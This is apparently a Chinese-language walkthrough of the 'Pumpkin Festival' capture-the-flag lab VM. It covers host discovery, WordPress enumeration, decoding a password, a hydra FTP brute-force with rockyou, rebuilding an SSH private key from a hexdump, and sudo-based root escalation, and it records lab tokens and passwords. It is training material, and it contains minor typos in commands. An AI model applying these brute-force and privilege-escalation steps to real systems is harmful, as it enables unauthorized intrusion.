一、信息收集
1.主机发现
sudo arp-scan -l
2.扫描详细信息
nmap -p- -sC -sT -sV -A 192.168.127.156
二、渗透
1. ftp登录
远程登录ftp
ftp 192.168.127.156
看到有文件token.txt
下载查看
得到令牌
令牌一
2d6dbbae84d724409606eddd9dd71265
2. 查看网站
访问网站:http://192.168.127.156
有一个关键字,可能有用
Alohomera!
查看网页源代码,发现第二个令牌
令牌二
45d9ee7239bc6b0bb21d3f8e1c5faa52
扫描目录
nmap -p80 -A 192.168.127.156
访问查看
需要修改本地hosts文件之后进行访问,添加pumpkins.local到hosts文件之后访问。
chmod 600 /etc/hosts
vim /etc/hosts
访问域名pumpkins.local
发现无法访问,解决办法:修改主机host
访问成功,发现第三个令牌
令牌三
06c3eb12ef2389e2752335beccfb2080
扫描目录时发现了tokens,访问查看
这个目录应该是有东西的,尝试访问token.txt
找到第四个令牌
令牌四
2c0e11d2200e2604587c331f02a7ebea
有一个WordPress网站在南瓜下运行,本地域名,尝试wpscan
wpscan --url http://pumpkins.local -e at -e ap -e u
得到一个名为readme.html的文件。
得到了两个用户名admin & morse为WordPress网站,访问网站
http://pumpkins.local/readme.html
K82v0SuvV1En350M0uxiXVRTmBrQIJQN78s
得到一串代码,解密
https://gchq.github.io/CyberChef/
这是一串base62编码
解码得到密码 Ug0t!TrIpyJ
用户 morse 和 jack
登录wp-admin —— http://pumpkins.local/wp-admin
在这里发现了第五个令牌
令牌五
7139e925fd43618653e51f820bc6201b
登录名为admin的wp-admin用户,在得到令牌二的时候获取到一个关键字 Alohomora! ,可能是admin的密码
成功登录
得到第六个令牌
令牌六
f2e00edc353309b40e1aed18e18ab2c4
扫描pumpkins.local目录
访问查看license.txt
得到第七个令牌
令牌七
5ff346114d634a015ce413e1bc3d8d71
目前位置,共有四个管理员:admin, morse, jack, harry
但是只有三个用户的密码,使用hydra破解harry的密码
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.127.156 ftp -e nsr
得到密码:yrrah
ftp登录
ftp 192.168.127.156
ls
get token.txt
exit
cat token.txt
得到第八个令牌
令牌八
ba9fa9abf2be9373b7cbd9a6457f374e
ftp登录后除token.txt外还有一个目录Donotopen,查看目录
cd Donotopen
ls
有一个NO目录,继续访问,经过多次遍历,找到token.txt
得到令牌九
令牌九
f9c5053d01e0dfc30066476ab0f0564c
在上面的目录中除token.txt之外,还有一个NOOOOO目录,继续访问
发现data文件
查看文件发现乱码,查看文件类型
file data.txt
发现这是一个tar压缩包
tar vxf data.txt
tar xjf data
tar vxf key
cat jack
发现是一个十六进制文件
使用xxd将hexdump转换并打补丁为二进制文件
xxd -r -p jack
得到一个ssh私钥,新建文件sshkey将私钥复制进去,
修改权限然后登录jack账户,ssh端口为6880,使用该密钥ssh登录目标主机
chmod 600 sshkey
ssh jack@192.168.127.156 -i sshkey -p 6880
kali不成功
本机尝试,在本机ftp登录靶机,拿到data,解压,解密到key(2)文件,然后ssh登录
ssh -i "key(2)" -p 6880 jack@192.168.127.156
成功登录
file token
拿到第十个令牌
./token
令牌十
8d66ef0055b43d80c34917ec6c75f706
3.提权
sudo -l
用户jack的密码是Ug0t!TrIpyJ
jack 对alohomora文件具有sudo权限,但是我们的路径上看不到pumpkins目录
新建一个pumpkins目录
mkdir pumpkins
使用 echo 命令创建一个名为alohomora的文件,其中复制了/bin/bash。并赋予权限
echo "/bin/sh" > /home/jack/pumpkins/alohomora
chmod 777 /home/jack/pumkins/alohomora
sudo ./alohomora
切换到root根目录下,得到最终大奖PumpkinFestival_Ticket
cd /root
ls
cat PumpkinFestival_Ticket